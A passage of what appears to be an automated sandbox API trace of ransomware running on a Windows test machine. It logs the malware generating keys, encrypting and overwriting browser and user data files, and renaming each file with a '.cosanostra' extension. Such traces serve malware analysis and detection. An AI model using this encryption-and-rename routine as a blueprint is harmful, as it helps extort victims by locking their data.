HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\credentials\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.786] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7f0 | out: pbBuffer=0x251f7f0) returned 1 [0087.786] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7e8*=0x30) returned 1 [0087.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.787] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db") returned 60 [0087.787] StrStrW (lpFirst="IconCache.db", lpSrch=".txt") returned 0x0 [0087.787] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.787] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f7ac, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f7ac*=0x2800, lpOverlapped=0x0) returned 1 [0087.788] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.788] WriteFile (in: hFile=0x154, lpBuffer=0x251f7ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7ac, lpOverlapped=0x0 | out: lpBuffer=0x251f7ec*, lpNumberOfBytesWritten=0x251f7ac*=0x4, lpOverlapped=0x0) returned 1 [0087.789] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7ac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7ac*=0x30, lpOverlapped=0x0) returned 1 [0087.789] CloseHandle (hObject=0x154) returned 1 [0087.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.cosanostra")) returned 1 [0087.797] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7d0 | out: pbBuffer=0x251f7d0) returned 1 [0087.797] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7c8*=0x30) returned 1 [0087.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.798] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 101 [0087.798] StrStrW (lpFirst="Safe Browsing Cookies-journal", lpSrch=".txt") returned 0x0 [0087.798] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.798] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f78c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f78c*=0x0, lpOverlapped=0x0) returned 1 [0087.798] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.798] WriteFile (in: hFile=0x154, lpBuffer=0x251f7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f78c, lpOverlapped=0x0 | out: lpBuffer=0x251f7cc*, lpNumberOfBytesWritten=0x251f78c*=0x4, lpOverlapped=0x0) returned 1 [0087.799] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f78c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f78c*=0x30, lpOverlapped=0x0) returned 1 [0087.799] CloseHandle (hObject=0x154) returned 1 [0087.799] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies-journal.cosanostra")) returned 1 [0087.800] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7d0 | out: pbBuffer=0x251f7d0) returned 1 [0087.800] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7c8*=0x30) returned 1 [0087.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.800] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 93 [0087.800] StrStrW (lpFirst="Safe Browsing Cookies", lpSrch=".txt") returned 0x0 [0087.856] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffe400, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.856] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x251f78c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f78c*=0x1c00, lpOverlapped=0x0) returned 1 [0087.856] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.856] WriteFile (in: hFile=0x154, lpBuffer=0x251f7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f78c, lpOverlapped=0x0 | out: lpBuffer=0x251f7cc*, lpNumberOfBytesWritten=0x251f78c*=0x4, lpOverlapped=0x0) returned 1 [0087.856] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f78c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f78c*=0x30, lpOverlapped=0x0) returned 1 [0087.856] CloseHandle (hObject=0x154) returned 1 [0087.857] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies.cosanostra")) returned 1 [0087.857] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7c8 | out: pbBuffer=0x251f7c8) returned 1 [0087.857] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7c0*=0x30) returned 1 [0087.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.859] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 93 [0087.859] StrStrW (lpFirst="Visited Links", lpSrch=".txt") returned 0x0 [0087.861] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.861] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f784, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f784*=0x2800, lpOverlapped=0x0) returned 1 [0087.861] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.861] WriteFile (in: hFile=0x154, lpBuffer=0x251f7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f784, lpOverlapped=0x0 | out: lpBuffer=0x251f7c4*, lpNumberOfBytesWritten=0x251f784*=0x4, lpOverlapped=0x0) returned 1 [0087.861] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f784, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f784*=0x30, lpOverlapped=0x0) returned 1 [0087.861] CloseHandle (hObject=0x154) returned 1 [0087.862] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links.cosanostra")) returned 1 [0087.868] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7c8 | out: pbBuffer=0x251f7c8) returned 1 [0087.868] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7c0*=0x30) returned 1 [0087.868] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.869] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 97 [0087.869] StrStrW (lpFirst="Top Sites-journal", lpSrch=".txt") returned 0x0 [0087.869] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.869] WriteFile (in: hFile=0x154, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f784, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f784*=0x0, lpOverlapped=0x0) returned 1 [0087.869] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.869] WriteFile (in: hFile=0x154, lpBuffer=0x251f7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f784, lpOverlapped=0x0 | out: lpBuffer=0x251f7c4*, lpNumberOfBytesWritten=0x251f784*=0x4, lpOverlapped=0x0) returned 1 [0087.870] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f784, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f784*=0x30, lpOverlapped=0x0) returned 1 [0087.870] CloseHandle (hObject=0x154) returned 1 [0087.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal.cosanostra")) returned 1 [0087.871] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7c0 | out: pbBuffer=0x251f7c0) returned 1 [0087.871] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7b8*=0x30) returned 1 [0087.871] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.872] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 89 [0087.872] StrStrW (lpFirst="Top Sites", lpSrch=".txt") returned 0x0 [0087.914] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.915] WriteFile (in: hFile=0x154, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f77c, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f77c*=0x2800, lpOverlapped=0x0) returned 1 [0087.915] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.915] WriteFile (in: hFile=0x154, lpBuffer=0x251f7bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f77c, lpOverlapped=0x0 | out: lpBuffer=0x251f7bc*, lpNumberOfBytesWritten=0x251f77c*=0x4, lpOverlapped=0x0) returned 1 [0087.915] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f77c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f77c*=0x30, lpOverlapped=0x0) returned 1 [0087.915] CloseHandle (hObject=0x154) returned 1 [0087.916] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites.cosanostra")) returned 1 [0087.916] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7c0 | out: pbBuffer=0x251f7c0) returned 1 [0087.916] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7b8*=0x30) returned 1 [0087.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.988] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7b8 | out: pbBuffer=0x251f7b8) returned 1 [0087.988] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7b0*=0x30) returned 1 [0087.988] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0087.993] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT") returned 88 [0087.993] StrStrW (lpFirst="MSIMGSIZ.DAT", lpSrch=".txt") returned 0x0 [0087.995] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.995] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f774, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f774*=0x2800, lpOverlapped=0x0) returned 1 [0087.995] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.995] WriteFile (in: hFile=0x174, lpBuffer=0x251f7b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f774, lpOverlapped=0x0 | out: lpBuffer=0x251f7b4*, lpNumberOfBytesWritten=0x251f774*=0x4, lpOverlapped=0x0) returned 1 [0087.996] WriteFile (in: hFile=0x174, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f774, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f774*=0x30, lpOverlapped=0x0) returned 1 [0087.996] CloseHandle (hObject=0x174) returned 1 [0087.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat.cosanostra")) returned 1 [0088.022] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7b0 | out: pbBuffer=0x251f7b0) returned 1 [0088.022] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f7a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f7a8*=0x30) returned 1 [0088.022] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.047] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7b0 | out: pbBuffer=0x251f7b0) returned 1 [0088.047] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f7a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f7a8*=0x30) returned 1 [0088.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.047] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 95 [0088.047] StrStrW (lpFirst="CurrentDatabase_372.wmdb", lpSrch=".txt") returned 0x0 [0088.058] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.058] WriteFile (in: hFile=0x16c, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f76c, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f76c*=0x2800, lpOverlapped=0x0) returned 1 [0088.059] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.059] WriteFile (in: hFile=0x16c, lpBuffer=0x251f7ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f76c, lpOverlapped=0x0 | out: lpBuffer=0x251f7ac*, lpNumberOfBytesWritten=0x251f76c*=0x4, lpOverlapped=0x0) returned 1 [0088.061] WriteFile (in: hFile=0x16c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f76c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f76c*=0x30, lpOverlapped=0x0) returned 1 [0088.061] CloseHandle (hObject=0x16c) returned 1 [0088.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.cosanostra")) returned 1 [0088.062] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7a8 | out: pbBuffer=0x251f7a8) returned 1 [0088.062] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f7a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f7a0*=0x30) returned 1 [0088.062] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.063] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 153 [0088.063] StrStrW (lpFirst="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch=".txt") returned 0x0 [0088.079] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffff200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.079] WriteFile (in: hFile=0x16c, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x251f764, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f764*=0xe00, lpOverlapped=0x0) returned 1 [0088.079] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.079] WriteFile (in: hFile=0x16c, lpBuffer=0x251f7a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f764, lpOverlapped=0x0 | out: lpBuffer=0x251f7a4*, lpNumberOfBytesWritten=0x251f764*=0x4, lpOverlapped=0x0) returned 1 [0088.079] WriteFile (in: hFile=0x16c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f764, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f764*=0x30, lpOverlapped=0x0) returned 1 [0088.079] CloseHandle (hObject=0x16c) returned 1 [0088.080] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet 